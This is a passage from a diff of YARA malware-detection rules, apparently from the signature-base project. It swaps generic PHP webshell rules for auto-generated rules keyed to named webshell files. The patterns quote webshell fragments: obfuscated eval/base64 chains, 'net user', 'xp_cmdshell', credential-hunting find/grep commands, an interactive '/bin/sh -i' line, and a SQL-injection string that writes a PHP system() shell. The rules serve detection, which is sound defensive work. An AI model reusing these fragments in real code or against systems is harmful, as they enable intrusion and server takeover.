-		$gen_much_sus42 = "\"+\"(\"+\"" wide ascii
-		$gen_much_sus43 = "q\"+\"u\"" wide ascii
-		$gen_much_sus44 = "\"u\"+\"e" wide ascii
-		$gen_much_sus45 = "/*//*/" wide ascii
-		$gen_much_sus46 = "(\"/*/\"" wide ascii
-		$gen_much_sus47 = "eval(eval(" wide ascii
-		$gen_much_sus48 = "unlink(__FILE__)" wide ascii
-		$gen_much_sus49 = "Shell.Users" wide ascii
-		$gen_much_sus50 = "PasswordType=Regular" wide ascii
-		$gen_much_sus51 = "-Expire=0" wide ascii
-		$gen_much_sus60 = "_=$$_" wide ascii
-		$gen_much_sus61 = "_=$$_" wide ascii
-		$gen_much_sus62 = "++;$" wide ascii
-		$gen_much_sus63 = "++; $" wide ascii
-		$gen_much_sus64 = "_.=$_" wide ascii
-		$gen_much_sus70 = "-perm -04000" wide ascii
-		$gen_much_sus71 = "-perm -02000" wide ascii
-		$gen_much_sus72 = "grep -li password" wide ascii
-		$gen_much_sus73 = "-name config.inc.php" wide ascii
-		$gen_much_sus75 = "password crack" wide ascii
-		$gen_much_sus76 = "mysqlDll.dll" wide ascii
-		$gen_much_sus77 = "net user" wide ascii
-		$gen_much_sus80 = "fopen(\".htaccess\",\"w" wide ascii
-		$gen_much_sus81 = /strrev\(['"]/ wide ascii
-		$gen_much_sus82 = "PHPShell" fullword wide ascii
-		$gen_much_sus821 = "PHP Shell" fullword wide ascii
-		$gen_much_sus83 = "phpshell" fullword wide ascii
-		$gen_much_sus84 = "PHPshell" fullword wide ascii
-		$gen_much_sus87 = "deface" wide ascii
-		$gen_much_sus88 = "Deface" wide ascii
-		$gen_much_sus89 = "backdoor" wide ascii
-		$gen_much_sus90 = "r00t" fullword wide ascii
-		$gen_much_sus91 = "xp_cmdshell" fullword wide ascii
-		$gen_much_sus92 = "DEFACE" fullword wide ascii
-		$gen_much_sus93 = "Bypass" fullword wide ascii
-		$gen_much_sus94 = /eval\s{2,20}\(/ nocase wide ascii
-		$gen_much_sus100 = "rot13" wide ascii
-		$gen_much_sus101 = "ini_set('error_log'" wide ascii
-		$gen_much_sus102 = "base64_decode(base64_decode(" wide ascii
-		$gen_much_sus103 = "=$_COOKIE;" wide ascii
-		$gen_much_sus104 = { C0 A6 7B 3? 7D 2E 24 }
-		$gen_much_sus105 = "$GLOBALS[\"__" wide ascii
-		$gen_much_sus106 = ")-0)" wide ascii
-		$gen_much_sus107 = "-0)+" wide ascii
-		$gen_much_sus108 = "+0)+" wide ascii
-		$gen_much_sus109 = "+(0/" wide ascii
-		$gen_much_sus110 = "+(0+" wide ascii
-		$gen_much_sus111 = "extract($_REQUEST)" wide ascii
-		$gen_much_sus112 = "<?php\t\t\t\t\t\t\t\t\t\t\t" wide ascii
-		$gen_much_sus113 = "\t\t\t\t\t\t\t\t\t\t\textract" wide ascii
-		$gen_much_sus114 = "\" .\"" wide ascii
-		$gen_much_sus115 = "end($_POST" wide ascii
-		$weevely1 = /';\n\$\w\s?=\s?'/ wide ascii
-		$weevely2 = /';\x0d\n\$\w\s?=\s?'/ wide ascii
-		$weevely3 = /';\$\w{1,2}='/ wide ascii
-		$weevely4 = "str_replace" fullword wide ascii
-		$gif = { 47 49 46 38 }
-		$fp1 = "# Some examples from obfuscated malware:" ascii
-		$fp2 = "* @package   PHP_CodeSniffer" ascii
-		$fp3 = ".jQuery===" ascii
-		$fp4 = "* @param string $lstat encoded LStat string" ascii
+		$s0 = "<hr>to browse go to http://<? echo $SERVER_NAME.$REQUEST_URI; ?>?d=[directory he"
+		$s6 = "if(!move_uploaded_file($HTTP_POST_FILES['file_name']['tmp_name'], $dir.$fn"
+		$s9 = "// a simple php backdoor"
 
 	condition:
-		not ( uint16(0)==0x5a4d or uint32be(0)==0x3c3f786d or uint32be(0)==0x3c3f584d or $dex at 0 or $pack at 0 or uint16(0)==0x4b50 or 1 of ($fp*)) and ( any of ($new_php*) or $php_short at 0) and ( any of ($dynamic*)) and ($gif at 0 or (( filesize <1KB and (1 of ($gen_much_sus*))) or ( filesize <2KB and ((#weevely1+#weevely2+#weevely3)>2 and #weevely4>1)) or ( filesize <4000 and (1 of ($gen_much_sus*) or 2 of ($gen_bit_sus*))) or ( filesize <20KB and (2 of ($gen_much_sus*) or 4 of ($gen_bit_sus*))) or ( filesize <50KB and (3 of ($gen_much_sus*) or 5 of ($gen_bit_sus*))) or ( filesize <100KB and (3 of ($gen_much_sus*) or 6 of ($gen_bit_sus*))) or ( filesize <160KB and (3 of ($gen_much_sus*) or 7 of ($gen_bit_sus*) or (math.deviation(500, filesize -500,89.0)>70))) or ( filesize <500KB and (4 of ($gen_much_sus*) or 8 of ($gen_bit_sus*) or #gen_much_sus104>4))) or ( filesize >2KB and filesize <1MB and ((math.entropy(500, filesize -500)>=5.7 and math.mean(500, filesize -500)>80 and math.deviation(500, filesize -500,89.0)<23) or (math.entropy(500, filesize -500)>=7.7 and math.mean(500, filesize -500)>120 and math.mean(500, filesize -500)<136 and math.deviation(500, filesize -500,89.0)>65))))
+		1 of them
 }
-import "math"
-
-rule SIGNATURE_BASE_WEBSHELL_PHP_Encoded_Big : FILE
+rule SIGNATURE_BASE_Sig_2005Gray
 {
 	meta:
-		description = "PHP webshell using some kind of eval with encoded blob to decode"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "c3bb7b8b-c554-5802-8955-c83722498f8b"
-		date = "2021-02-07"
-		modified = "2024-03-11"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_webshells.yar#L2337-L2424"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "1d4b374d284c12db881ba42ee63ebce2759e0b14"
-		hash = "fc0086caee0a2cd20609a05a6253e23b5e3245b8"
-		hash = "b15b073801067429a93e116af1147a21b928b215"
-		hash = "74c92f29cf15de34b8866db4b40748243fb938b4"
-		hash = "042245ee0c54996608ff8f442c8bafb8"
-		logic_hash = "bbd6c1056d852ecae44d3abdb4a8386a62e985794f34037c4aa5fe7e1f4f3a72"
-		score = 50
-		quality = -829
-		tags = "FILE"
+		description = "Webshells Auto-generated - file 2005Gray.asp"
+		author = "Florian Roth (Nextron Systems)"
+		id = "978fb04e-517d-51cf-98ca-5fd6b421365e"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L7608-L7622"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "75dbe3d3b70a5678225d3e2d78b604cc"
+		logic_hash = "927ed5cdaa14b6cd63a6ca7d7bec6635b69fa19d88808890e7d198fb7a0b57b4"
+		score = 75
+		quality = 85
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		importance = 70
 
 	strings:
-		$new_php1 = /<\?=[\w\s@$]/ wide ascii
-		$new_php2 = "<?php" nocase wide ascii
-		$new_php3 = "<script language=\"php" nocase wide ascii
-		$php_short = "<?"
-		$cpayload1 = /\beval[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$cpayload2 = /\bexec[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$cpayload3 = /\bshell_exec[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$cpayload4 = /\bpassthru[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$cpayload5 = /\bsystem[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$cpayload6 = /\bpopen[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$cpayload7 = /\bproc_open[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$cpayload8 = /\bpcntl_exec[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$cpayload9 = /\bassert[\n\t ]{0,500}\([^)0]/ nocase wide ascii
-		$cpayload10 = /\bpreg_replace[\n\t ]{0,500}\([^\)]{1,100}\/[ismxADSUXju]{0,11}(e|\\x65)/ nocase wide ascii
-		$cpayload12 = /\bmb_ereg_replace[\t ]{0,500}\([^\)]{1,100}'e'/ nocase wide ascii
-		$cpayload13 = /\bmb_eregi_replace[\t ]{0,500}\([^\)]{1,100}'e'/ nocase wide ascii
-		$cpayload20 = /\bcreate_function[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$cpayload21 = /\bReflectionFunction[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$cpayload22 = /fetchall\(PDO::FETCH_FUNC[\n\t ]{0,500}[,}\)]/ nocase wide ascii
-		$m_cpayload_preg_filter1 = /\bpreg_filter[\n\t ]{0,500}(\([^\)]|\/\*)/ nocase wide ascii
-		$m_cpayload_preg_filter2 = "'|.*|e'" nocase wide ascii
+		$s0 = "SCROLLBAR-FACE-COLOR: #e8e7e7;"
+		$s4 = "echo \"&nbsp;<a href=\"\"/\"&encodeForUrl(theHref,false)&\"\"\" target=_blank>\"&replace"
+		$s8 = "theHref=mid(replace(lcase(list.path),lcase(server.mapPath(\"/\")),\"\"),2)"
+		$s9 = "SCROLLBAR-3DLIGHT-COLOR: #cccccc;"
 
 	condition:
-		filesize <1000KB and ( any of ($new_php*) or $php_short at 0) and ( any of ($cpayload*) or all of ($m_cpayload_preg_filter*)) and ( filesize >2KB and (math.entropy(500, filesize -500)>=5.7 and math.mean(500, filesize -500)>80 and math.deviation(500, filesize -500,89.0)<24) or (math.entropy(500, filesize -500)>=7.7 and math.mean(500, filesize -500)>120 and math.mean(500, filesize -500)<136 and math.deviation(500, filesize -500,89.0)>65))
+		all of them
 }
-import "math"
-
-rule SIGNATURE_BASE_WEBSHELL_PHP_Generic_Backticks : FILE
+rule SIGNATURE_BASE_Dllinjection
 {
 	meta:
-		description = "Generic PHP webshell which uses backticks directly on user input"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "b2f1d8d0-8668-5641-8ce9-c8dd71f51f58"
-		date = "2021-01-07"
-		modified = "2023-04-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_webshells.yar#L2426-L2474"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "339f32c883f6175233f0d1a30510caa52fdcaa37"
-		hash = "8db86ad90883cd208cf86acd45e67c03f994998804441705d690cb6526614d00"
-		hash = "af987b0eade03672c30c095cee0c7c00b663e4b3c6782615fb7e430e4a7d1d75"
-		hash = "67339f9e70a17af16cf51686918cbe1c0604e129950129f67fe445eaff4b4b82"
-		hash = "144e242a9b219c5570973ca26d03e82e9fbe7ba2773305d1713288ae3540b4ad"
-		hash = "8db86ad90883cd208cf86acd45e67c03f994998804441705d690cb6526614d00"
-		logic_hash = "faa064686a5632788497d0300ba017c3e564f3b70f07a01f2e49bf7c934feb28"
+		description = "Webshells Auto-generated - file DllInjection.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "8a57e122-fd00-57f3-94db-736c5bfd76db"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L7623-L7634"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "a7b92283a5102886ab8aee2bc5c8d718"
+		logic_hash = "6e01ae1cc8a91a5e0d22bdf477aa72bf0116dbe31752a069b1e34d8a09ec6213"
 		score = 75
-		quality = 44
-		tags = "FILE"
+		quality = 85
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		importance = 70
 
 	strings:
-		$backtick = /`\s*\{?\$(_POST\[|_GET\[|_REQUEST\[|_SERVER\['HTTP_)/ wide ascii
-		$php_short = "<?" wide ascii
-		$no_xml1 = "<?xml version" nocase wide ascii
-		$no_xml2 = "<?xml-stylesheet" nocase wide ascii
-		$no_asp1 = "<%@LANGUAGE" nocase wide ascii
-		$no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
-		$no_pdf = "<?xpacket"
-		$php_new1 = /<\?=[^?]/ wide ascii
-		$php_new2 = "<?php" nocase wide ascii
-		$php_new3 = "<script language=\"php" nocase wide ascii
+		$s0 = "\\BDoor\\DllInjecti"
 
 	condition:
-		((($php_short in (0..100) or $php_short in ( filesize -1000.. filesize )) and not any of ($no_*)) or any of ($php_new*)) and $backtick and filesize <200
+		all of them
 }
-import "math"
-
-rule SIGNATURE_BASE_WEBSHELL_PHP_Generic_Backticks_OBFUSC : FILE
+rule SIGNATURE_BASE_Mithril_V1_45_Mithril
 {
 	meta:
-		description = "Generic PHP webshell which uses backticks directly on user input"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "5ecb329f-0755-536d-8bfa-e36158474a0b"
-		date = "2021-01-07"
-		modified = "2023-04-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_webshells.yar#L2476-L2522"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "23dc299f941d98c72bd48659cdb4673f5ba93697"
-		hash = "e3f393a1530a2824125ecdd6ac79d80cfb18fffb89f470d687323fb5dff0eec1"
-		hash = "1e75914336b1013cc30b24d76569542447833416516af0d237c599f95b593f9b"
-		hash = "8db86ad90883cd208cf86acd45e67c03f994998804441705d690cb6526614d00"
-		logic_hash = "34354283762d6f62a4537e914d969f84546339da9be533e209d8738605b7e3ac"
+		description = "Webshells Auto-generated - file Mithril.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "3c160017-0332-532a-bb7f-390a4a34dc4e"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L7635-L7647"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "f1484f882dc381dde6eaa0b80ef64a07"
+		logic_hash = "a3e74bfb34762553eccaddd745d9e17dc3a5a25201e4bc9e2ea9a49342295c78"
 		score = 75
-		quality = 44
-		tags = "FILE"
+		quality = 85
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		importance = 70
 
 	strings:
-		$s1 = /echo[\t ]{0,500}\(?`\$/ wide ascii
-		$php_short = "<?" wide ascii
-		$no_xml1 = "<?xml version" nocase wide ascii
-		$no_xml2 = "<?xml-stylesheet" nocase wide ascii
-		$no_asp1 = "<%@LANGUAGE" nocase wide ascii
-		$no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
-		$no_pdf = "<?xpacket"
-		$php_new1 = /<\?=[^?]/ wide ascii
-		$php_new2 = "<?php" nocase wide ascii
-		$php_new3 = "<script language=\"php" nocase wide ascii
+		$s2 = "cress.exe"
+		$s7 = "\\Debug\\Mithril."
 
 	condition:
-		filesize <500 and ((($php_short in (0..100) or $php_short in ( filesize -1000.. filesize )) and not any of ($no_*)) or any of ($php_new*)) and $s1
+		all of them
 }
-import "math"
-
-rule SIGNATURE_BASE_WEBSHELL_PHP_By_String_Known_Webshell : FILE
+rule SIGNATURE_BASE_Hkshell_Hkrmv
 {
 	meta:
-		description = "Known PHP Webshells which contain unique strings, lousy rule for low hanging fruits. Most are catched by other rules in here but maybe these catch different versions."
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "05ac0e0a-3a19-5c60-b89a-4a300d8c22e7"
-		date = "2021-01-09"
-		modified = "2023-04-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_webshells.yar#L2524-L2658"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "d889da22893536d5965541c30896f4ed4fdf461d"
-		hash = "10f4988a191774a2c6b85604344535ee610b844c1708602a355cf7e9c12c3605"
-		hash = "7b6471774d14510cf6fa312a496eed72b614f6fc"
-		hash = "decda94d40c3fd13dab21e197c8d05f48020fa498f4d0af1f60e29616009e9bf"
-		hash = "ef178d332a4780e8b6db0e772aded71ac1a6ed09b923cc359ba3c4efdd818acc"
-		hash = "a7a937c766029456050b22fa4218b1f2b45eef0db59b414f79d10791feca2c0b"
-		hash = "e7edd380a1a2828929fbde8e7833d6e3385f7652ea6b352d26b86a1e39130ee8"
-		hash = "0038946739956c80d75fa9eeb1b5c123b064bbb9381d164d812d72c7c5d13cac"
-		hash = "3a7309bad8a5364958081042b5602d82554b97eca04ee8fdd8b671b5d1ddb65d"
-		hash = "a78324b9dc0b0676431af40e11bd4e26721a960c55e272d718932bdbb755a098"
-		hash = "a27f8cd10cedd20bff51e9a8e19e69361cc8a6a1a700cc64140e66d160be1781"
-		hash = "9bbd3462993988f9865262653b35b4151386ed2373592a1e2f8cf0f0271cdb00"
-		hash = "459ed1d6f87530910361b1e6065c05ef0b337d128f446253b4e29ae8cc1a3915"
-		hash = "12b34d2562518d339ed405fb2f182f95dce36d08fefb5fb67cc9386565f592d1"
-		hash = "96d8ca3d269e98a330bdb7583cccdc85eab3682f9b64f98e4f42e55103a71636"
-		hash = "312ee17ec9bed4278579443b805c0eb75283f54483d12f9add7d7d9e5f9f6105"
-		hash = "15c4e5225ff7811e43506f0e123daee869a8292fc8a38030d165cc3f6a488c95"
-		hash = "0c845a031e06925c22667e101a858131bbeb681d78b5dbf446fdd5bca344d765"
-		hash = "d52128bcfff5e9a121eab3d76382420c3eebbdb33cd0879fbef7c3426e819695"
-		logic_hash = "22b6d58e24748933792c29b63c4f68c08b86c17a2751fbef5b93bc06c8c5341d"
-		score = 70
-		quality = 17
-		tags = "FILE"
+		description = "Webshells Auto-generated - file hkrmv.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "986fad12-9198-5e0a-88d6-a9be6963ff8c"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L7648-L7660"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "bd3a0b7a6b5536f8d96f50956560e9bf"
+		logic_hash = "f1da0778456272e6d93633a564018bdf0fa74f1db1c9e963a03a59c69c752b6e"
+		score = 75
+		quality = 85
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		importance = 70
 
 	strings:
-		$pbs1 = "b374k shell" wide ascii
-		$pbs2 = "b374k/b374k" wide ascii
-		$pbs3 = "\"b374k" wide ascii
-		$pbs4 = "$b374k(\"" wide ascii
-		$pbs5 = "b374k " wide ascii
-		$pbs6 = "0de664ecd2be02cdd54234a0d1229b43" wide ascii
-		$pbs7 = "pwnshell" wide ascii
-		$pbs8 = "reGeorg" fullword wide ascii
-		$pbs9 = "Georg says, 'All seems fine" fullword wide ascii
-		$pbs10 = "My PHP Shell - A very simple web shell" wide ascii
-		$pbs11 = "<title>My PHP Shell <?echo VERSION" wide ascii
-		$pbs12 = "F4ckTeam" fullword wide ascii
-		$pbs15 = "MulCiShell" fullword wide ascii
-		$pbs30 = "bot|spider|crawler|slurp|teoma|archive|track|snoopy|java|lwp|wget|curl|client|python|libwww" wide ascii
-		$pbs35 = /@\$_GET\s?\[\d\]\)\.@\$_\(\$_GET\s?\[\d\]\)/ wide ascii
-		$pbs36 = /@\$_GET\s?\[\d\]\)\.@\$_\(\$_POST\s?\[\d\]\)/ wide ascii
-		$pbs37 = /@\$_POST\s?\[\d\]\)\.@\$_\(\$_GET\s?\[\d\]\)/ wide ascii
-		$pbs38 = /@\$_POST\[\d\]\)\.@\$_\(\$_POST\[\d\]\)/ wide ascii
-		$pbs39 = /@\$_REQUEST\[\d\]\)\.@\$_\(\$_REQUEST\[\d\]\)/ wide ascii
-		$pbs42 = "array(\"find config.inc.php files\", \"find / -type f -name config.inc.php\")" wide ascii
-		$pbs43 = "$_SERVER[\"\\x48\\x54\\x54\\x50" wide ascii
-		$pbs52 = "preg_replace(\"/[checksql]/e\""
-		$pbs53 = "='http://www.zjjv.com'"
-		$pbs54 = "=\"http://www.zjjv.com\""
-		$pbs60 = /setting\["AccountType"\]\s?=\s?3/
-		$pbs61 = "~+d()\"^\"!{+{}"
-		$pbs62 = "use function \\eval as "
-		$pbs63 = "use function \\assert as "
-		$pbs64 = "eval(`/*" wide ascii
-		$pbs65 = "/* Reverse engineering of this file is strictly prohibited. File protected by copyright law and provided under license. */" wide ascii
-		$pbs66 = "Tas9er" fullword wide ascii
-		$pbs67 = "\"TSOP_\";" fullword wide ascii
-		$pbs68 = "str_rot13('nffreg')" wide ascii
-		$pbs69 = "<?=`{$'" wide ascii
-		$pbs70 = "{'_'.$_}[\"_\"](${'_'.$_}[\"_" wide ascii
-		$pbs71 = "\"e45e329feb5d925b\"" wide ascii
-		$pbs72 = "| PHP FILE MANAGER" wide ascii
-		$pbs73 = "\neval(htmlspecialchars_decode(gzinflate(base64_decode($" wide ascii
-		$pbs74 = "/*\n\nShellindir.org\n\n*/" wide ascii
-		$pbs75 = "$shell = 'uname -a; w; id; /bin/sh -i';" wide ascii
-		$pbs76 = "'password' . '/' . 'id' . '/' . " wide ascii
-		$pbs77 = "= create_function /*" wide ascii
-		$pbs78 = "W3LL M!N! SH3LL" wide ascii
-		$pbs79 = "extract($_REQUEST)&&@$" wide ascii
-		$pbs80 = "\"P-h-p-S-p-y\"" wide ascii
-		$pbs81 = "\\x5f\\x72\\x6f\\x74\\x31\\x33" wide ascii
-		$pbs82 = "\\x62\\x61\\x73\\x65\\x36\\x34\\x5f" wide ascii
-		$pbs83 = "*/base64_decode/*" wide ascii
-		$pbs84 = "\n@eval/*" wide ascii
-		$pbs85 = "*/eval/*" wide ascii
-		$pbs86 = "*/ array /*" wide ascii
-		$pbs87 = "2jtffszJe" wide ascii
-		$pbs88 = "edocne_46esab" wide ascii
-		$pbs89 = "eval($_HEADERS" wide ascii
-		$pbs90 = ">Infinity-Sh3ll<" ascii
-		$front1 = "<?php eval(" nocase wide ascii
-		$php_short = "<?" wide ascii
-		$no_xml1 = "<?xml version" nocase wide ascii
-		$no_xml2 = "<?xml-stylesheet" nocase wide ascii
-		$no_asp1 = "<%@LANGUAGE" nocase wide ascii
-		$no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
-		$no_pdf = "<?xpacket"
-		$php_new1 = /<\?=[^?]/ wide ascii
-		$php_new2 = "<?php" nocase wide ascii
-		$php_new3 = "<script language=\"php" nocase wide ascii
-		$dex = { 64 65 ( 78 | 79 ) 0a 30 }
-		$pack = { 50 41 43 4b 00 00 00 02 00 }
+		$s5 = "/THUMBPOSITION7"
+		$s6 = "\\EvilBlade\\"
 
 	condition:
-		filesize <1000KB and ((($php_short in (0..100) or $php_short in ( filesize -1000.. filesize )) and not any of ($no_*)) or any of ($php_new*)) and not ( uint16(0)==0x5a4d or $dex at 0 or $pack at 0 or uint16(0)==0x4b50) and ( any of ($pbs*) or $front1 in (0..60))
+		all of them
 }
-import "math"
-
-rule SIGNATURE_BASE_WEBSHELL_PHP_Strings_SUSP : FILE
+rule SIGNATURE_BASE_WEBSHELL_PHP_1
 {
 	meta:
-		description = "typical webshell strings, suspicious"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "25f25df5-4398-562b-9383-e01ccb17e8de"
-		date = "2021-01-12"
-		modified = "2023-07-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_webshells.yar#L2660-L2746"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "0dd568dbe946b5aa4e1d33eab1decbd71903ea04"
-		hash = "dde2bdcde95730510b22ae8d52e4344997cb1e74"
-		hash = "499db4d70955f7d40cf5cbaf2ecaf7a2"
-		hash = "281b66f62db5caab2a6eb08929575ad95628a690"
-		hash = "1ab3ae4d613b120f9681f6aa8933d66fa38e4886"
-		logic_hash = "5c3837ab761ee2209fab5fc333b050a56d80addb03b088ae28040c7393429bb3"
-		score = 50
-		quality = 40
-		tags = "FILE"
+		description = "Webshells Auto-generated - file phpshell.php"
+		author = "Florian Roth (Nextron Systems)"
+		id = "d0107af3-e484-54cf-a238-dd1e71efd3f6"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		old_rule_name = "phpshell"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L7661-L7675"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "1dccb1ea9f24ffbd085571c88585517b"
+		logic_hash = "eed450ae6668bbee01ea2689e9864f10a66714ec4c91afabb12609ad4ebdac8c"
+		score = 75
+		quality = 85
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		importance = 70
 
 	strings:
-		$sstring1 = "eval(\"?>\"" nocase wide ascii
-		$php_short = "<?" wide ascii
-		$no_xml1 = "<?xml version" nocase wide ascii
-		$no_xml2 = "<?xml-stylesheet" nocase wide ascii
-		$no_asp1 = "<%@LANGUAGE" nocase wide ascii
-		$no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
-		$no_pdf = "<?xpacket"
-		$php_new1 = /<\?=[^?]/ wide ascii
-		$php_new2 = "<?php" nocase wide ascii
-		$php_new3 = "<script language=\"php" nocase wide ascii
-		$gfp1 = "eval(\"return [$serialised_parameter"
-		$gfp2 = "$this->assert(strpos($styles, $"
-		$gfp3 = "$module = new $_GET['module']($_GET['scope']);"
-		$gfp4 = "$plugin->$_POST['action']($_POST['id']);"
-		$gfp5 = "$_POST[partition_by]($_POST["
-		$gfp6 = "$object = new $_REQUEST['type']($_REQUEST['id']);"
-		$gfp7 = "The above example code can be easily exploited by passing in a string such as"
-		$gfp8 = "Smarty_Internal_Debug::start_render($_template);"
-		$gfp9 = "?p4yl04d=UNION%20SELECT%20'<?%20system($_GET['command']);%20?>',2,3%20INTO%20OUTFILE%20'/var/www/w3bsh3ll.php"
-		$gfp10 = "[][}{;|]\\|\\\\[+=]\\|<?=>?"
-		$gfp11 = "(eval (getenv \"EPROLOG\")))"
-		$gfp12 = "ZmlsZV9nZXRfY29udGVudHMoJ2h0dHA6Ly9saWNlbnNlLm9wZW5jYXJ0LWFwaS5jb20vbGljZW5zZS5waHA/b3JkZXJ"
-		$inp1 = "php://input" wide ascii
-		$inp2 = /_GET\s?\[/ wide ascii
-		$inp3 = /\(\s?\$_GET\s?\)/ wide ascii
-		$inp4 = /_POST\s?\[/ wide ascii
-		$inp5 = /\(\s?\$_POST\s?\)/ wide ascii
-		$inp6 = /_REQUEST\s?\[/ wide ascii
-		$inp7 = /\(\s?\$_REQUEST\s?\)/ wide ascii
-		$inp15 = "_SERVER['HTTP_" wide ascii
-		$inp16 = "_SERVER[\"HTTP_" wide ascii
-		$inp17 = /getenv[\t ]{0,20}\([\t ]{0,20}['"]HTTP_/ wide ascii
-		$inp18 = "array_values($_SERVER)" wide ascii
-		$inp19 = /file_get_contents\("https?:\/\// wide ascii
+		$s1 = "echo \"<input size=\\\"100\\\" type=\\\"text\\\" name=\\\"newfile\\\" value=\\\"$inputfile\\\"><b"
+		$s2 = "$img[$id] = \"<img height=\\\"16\\\" width=\\\"16\\\" border=\\\"0\\\" src=\\\"$REMOTE_IMAGE_UR"
+		$s3 = "$file = str_replace(\"\\\\\", \"/\", str_replace(\"//\", \"/\", str_replace(\"\\\\\\\\\", \"\\\\\", "
 
 	condition:
-		filesize <700KB and ((($php_short in (0..100) or $php_short in ( filesize -1000.. filesize )) and not any of ($no_*)) or any of ($php_new*)) and not ( any of ($gfp*)) and (1 of ($sstring*) and ( any of ($inp*)))
+		all of them
 }
-import "math"
+rule SIGNATURE_BASE_FSO_S_Cmd
+{
+	meta:
+		description = "Webshells Auto-generated - file cmd.asp"
+		author = "Florian Roth (Nextron Systems)"
+		id = "f7a74f21-aec9-5ee7-a80e-0fe34b977a71"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L7676-L7688"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "cbe8e365d41dd3cd8e462ca434cf385f"
